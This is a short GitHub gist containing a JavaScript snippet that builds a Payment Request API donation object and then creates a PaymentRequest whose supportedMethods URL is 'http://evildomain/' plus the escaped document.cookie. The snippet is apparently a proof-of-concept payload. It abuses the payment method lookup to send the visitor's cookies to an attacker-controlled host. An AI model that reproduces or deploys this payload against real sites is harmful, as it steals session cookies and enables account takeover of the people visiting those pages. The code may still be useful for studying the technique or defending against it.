Skip to content

Instantly share code, notes, and snippets.

@iflody
Last active August 16, 2020 06:55
Show Gist options
  • Save iflody/51e6f07d1d959b55140bf15e3d7dfaed to your computer and use it in GitHub Desktop.
Save iflody/51e6f07d1d959b55140bf15e3d7dfaed to your computer and use it in GitHub Desktop.
var details = {
displayItems: [
{
label: "Original donation amount",
amount: { currency: "USD", value : "65.00" },
},
{
label: "Friends and family discount",
amount: { currency: "USD", value : "-10.00" },
pending: true
}
],
total: {
label: "Total",
amount: { currency: "USD", value : "55.00" },
}
}
new PaymentRequest([{supportedMethods: "http://evildomain/" + escape(document.cookie)}], details)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment